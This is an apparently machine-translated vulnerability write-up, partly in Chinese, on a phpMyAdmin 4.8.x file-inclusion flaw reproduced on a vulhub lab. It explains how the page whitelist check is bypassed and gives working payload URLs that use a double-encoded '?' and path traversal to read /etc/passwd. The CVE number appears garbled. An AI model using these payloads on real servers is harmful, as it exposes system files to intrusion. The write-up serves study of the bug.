phpMyadmin (CVE-20180-12613) the background to any file that contains the vulnerability analysis

Foreword

　　Affected: 4.8.0--4.8.1

　　The recurring use 4.8.1      Download

　　Reproducible platform for vulhub. How to reproduce this vulnerability platform installation is not repeated here. Your own Baidu.

Vulnerability reproduction

　　

　　Vulnerability successful startup environment.

　　Visit the vulnerability Address:

　　　　

　　Use payload:

http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

　　

　　It includes success

Vulnerability Analysis

　　Vulnerability produce point is: index.php file line 54-67

　　

　　You can see that if you want to include the file successfully, there are five essential conditions: 1, 2 is not empty, string 3, does not begin with index 4, not $ target_blacklist this blacklist 5, Core :: checkPageValidity () function to TRUE

　　First check the value of $ target_blacklist variable:

　　Conditions 5 and then into the function. This function is located: libraries \ classes \ Core.php file 443-476 lines:

　　

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

　　可以看到在第一次$_page出现时即可绕过。其含义为截取$page  第一个'?'之前的部分，如果在白名单中，即返回TRUE。接下来查看白名单的值：

　　

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

　　随便选中其中之一即可。此处选中 "tbl_sql.php" 。构造payload：/index.php?target=tbl_sql.php%3f/../../../../../../../../etc/passwd

　　

　　

　　此段代码表示将 "?"经过二次编码也可。